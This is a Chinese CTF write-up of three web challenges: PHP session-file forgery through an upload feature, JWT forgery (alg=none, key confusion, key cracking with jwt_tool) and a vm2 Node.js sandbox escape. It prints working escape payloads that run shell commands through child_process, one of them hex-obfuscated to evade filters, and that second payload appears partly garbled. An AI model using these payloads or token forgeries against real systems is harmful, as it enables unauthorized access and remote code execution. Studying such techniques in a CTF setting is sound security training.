2020数字中国创新大赛-虎符网络安全赛道丨Web Writeup
本文是i春秋论坛作家「OPLV1H」表哥参加2020数字中国创新大赛-虎符网络安全赛道线上初赛的赛后总结，关于Web的Writeup记录，感兴趣的小伙伴快来学习吧。
1、hash_file — 是使用给定文件的内容生成哈希值，和文件名称无关。
2、jwt令牌结构和jwt_tools的使用。
3、nodejs沙箱溢出进行Getshell。
正 文
Web 1 BabyUpload
直接贴出源码
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>题目大概的逻辑就是先将session存储在/var/babyctf/中，如果session['username']==='admin'，并且file_exists('/var/babyctf/success.txt')存在，则会显出flag了，注意这里是file_exist函数。
等于说是检查有没有这个路径或者文件，这里为后面做了铺垫。接下来就是提供了上传和下载两个功能，这里存在一处暗示性的代码：
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);因为我们知道，session默认的存储名称为sess_XXXXX(为PHPSESSID的值)，那么我们先结合download来看一下自己的session，因为服务器端存储的session内容以及格式我们并不知道，查看一下自己的PHPSESSID对应的session。
这里session内容的格式具有一定的迷惑性，查看hex发现前面还藏了个0x08的不可见字符，我们如果想要构造时也需要修改第一个字符为不可见的0x08，有下载也有上传，而且需要session['username']===admin，因此我们应该需要构造并且上传一个session，并且知道其对应的PHPSSEID，再回到暗示性代码上：
文件路径为/var/babyctf/filename_xxxxxx(此处我们知道上传的内容，因此这部分可控)因此我们如果将filename设为sess，那不就直接成为session文件了吗，再利用得到的xxxxx替换原来的PHPSESSID，这样就能die出flag了。
步骤一：构造sess文件
sess文件的内容直接将guest改为admin即可，但注意需要用winhex将第一个字符改成0x08。
步骤二：构造上传表单，并且设置direction为uplaod，attr置空即可。
<html>
<head>
<title></title>
</head>
<body>
<form action="http://2709576a-448b-41c9-84bc-b5939c904ab9.node3.buuoj.cn" method="post" enctype="multipart/form-data">
<input type="text" name="attr" />
<br>
<input type="text" name="direction" />
<br>
<input type="file" name="upload_file" />
<br>
<input type="submit" />
</body>
</html>将sess上传：
我们可以根据上述download一样，查看一下是否已经成功上传了sess_xxxx文件。
步骤三：根据hash_file构造的文件(即PHPSESSID值)进行替换原来的PHPSESSID得到flag。
Web 2 EasyLogin
直接给登录框了，首先进行万能密码和扫描目录的尝试，没有收获，接下来F12查看源代码，发现/static/js/app.js，果然存在，贴下源码：
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');
const crypto = require('crypto');
const { resolve } = require('path');
const rest = require('./rest');
const controller = require('./controller');
const PORT = 3000;
const app = new Koa();
app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];
app.use(static(resolve(__dirname, '.')));
app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
// parse request body:
app.use(bodyParser());
// prepare restful service
app.use(rest.restify());
// add controllers:
app.use(controller());
app.listen(PORT);
console.log(`app started at port ${PORT}...`);可知还存在rest.js和controller.js，看这两个又能发现/controllers/api.js,贴一下关键的代码：
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},这就涉及到知识盲区了，后来复现发现是jwt的相关知识，在这里整理一下：
JSON Web令牌以紧凑的形式由三部分组成，这些部分由点（.）分隔，分别是：
- 头部（Header）
- 有效载荷（Payload）
- 签名(Signature)
因此，JWT通常形式是xxxxx.yyyyy.zzzzz。
头部(Header)
头部用于描述关于该JWT的最基本的信息，通常由两部分组成：令牌的类型（即JWT）和所使用的签名算法。
例如：
{"alg": "HS256","typ": "JWT"}然后，此JSON被Base64Url编码以形成JWT的第一部分。
有效载荷（Payload）
令牌的第二部分是载荷，放置了 token 的一些基本信息，以帮助接受它的服务器来理解这个 token。同时还可以包含一些自定义的信息，用户信息交换。
载荷示例可能是：
{"sub": "1234567890","name": "John Doe","admin": true}然后，对载荷进行Base64Url编码，以形成JSON Web令牌的第二部分。
签名(Signature)
要创建签名部分，您必须获取编码的头部，编码的有效载荷，密钥，头部中指定的算法，并对其进行签名。
例如，如果要使用HMAC SHA256算法，则将通过以下方式创建签名：
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)签名用于验证消息在整个过程中没有更改，并且对于使用私钥进行签名的令牌，它还可以验证JWT的发送者是它所说的真实身份。
但是在这里却存在个问题，const secret = global.secrets[sid]；这里通过全局变量设置了一个secret并作为密钥进行签名，而签名算法保证了JWT在传输的过程中不被恶意用户修改但是header中的alg字段可被修改为none，一些JWT库支持none算法，即没有签名算法，当alg为none时后端不会进行签名校验。
但是签名不是我们能够直接控制的，但是sid我们是可以控制的，如果在这里我们将sid设置为0.1，可以成功满足条件并绕过，使得secret是不存在的，也就是null。这里就能直接使用jwt_tools进行生成。
而我们知道有关jwt token的攻击方法其实分为三种：
1、将签名算法改为none
2、将RS256算法改为HS256（非对称密码算法=>对称密码算法）
- HS256算法使用密钥为所有消息进行签名和验证。
- 而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
- 如果将算法从RS256改为HS256，则后端代码将使用公钥作为密钥，然后使用HS256算法验证签名。
- 由于攻击者有时可以获取公钥，因此，攻击者可以将头部中的算法修改为HS256，然后使用RSA公钥对数据进行签名。
3、破解HS256（对称加密算法）密钥
这里说明一下jwt-tools的用法
破解密钥（HMAC算法）
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt尝试使用“无”算法来创建未验证的令牌：
python3 jwt_tool.py JWT_HERE -A我们可以交互方式篡改标头，有效负载和签名：
$python3 jwt_tool.py JWT_HERE(jwt token) -T
得到jwt
token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IjAuMiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4NzU2MDY0Nn0
只需要修改有效负载，然后最后将标头alg设为none，就会得到篡改后的jwt token，此时服务器也不会使用签名校验，这样就成功伪造admin,就能调用api/getflag( )，得到flag。
Web 3 JustEscape
这个题移花接木，得到run.php后告诉你：
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>随便输个函数却给我返回SyntaxError，欺负我没学过JS。不过结合前文提示，确实不是PHP，而是nodejs写的，这就涉及到知识盲区了，没错全是知识盲区。复现后才知道，原来nodejs是有沙箱逃逸的，可以google hack出HackIM 2019 Web的一道题和这个题类似。
解法1
这里我们需要知道加载的模块，根据google hack学到的，code=Error( ).stack
的确是设置了vm的模块，直接去github上找vm2有的issues，然后试试。找到了几个，payload一打过去，全给我搞出键盘，类比python沙箱逃逸，应该也是ban了一些函数，和其他大佬讨论发现既然是禁函数，那如果我code设置为数组，不是就可以绕过禁函数了吗？
接下来直接开找，issues上是breakout的应该都是能逃逸的payload，结果发现：
说是非法return,那就删掉return试试，发现能够成功逃逸，实现RCE。最后flag在根目录下，直接读取即可。
payload:?code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){ e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}
解法2
类比python的沙箱逃逸，如果一些进制转换的函数没有被禁止，我们应该是可以通过一些拼接来得到一些命令，还是能够绕过实行RCE。这里学习了其他大佬的解法，发现可以通过十六进制编码来进行关键字绕过：
即将一些关键字来进行16进制编码：（vm2仓库下的issues里面将关键字编码成16进制）
payload=(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`]=f=>fx63x6fx6ex73x74x72x75x63x74x6fx72();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){returne[x67x65x74x5fx70x72x6fx63x65x73x73](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))x65x78x65x63x53x79x6ex63.toString();}})()
注：文章素材来源于i春秋社区， 以上是个人关于本次比赛的一些解题思路，欢迎交流补充。
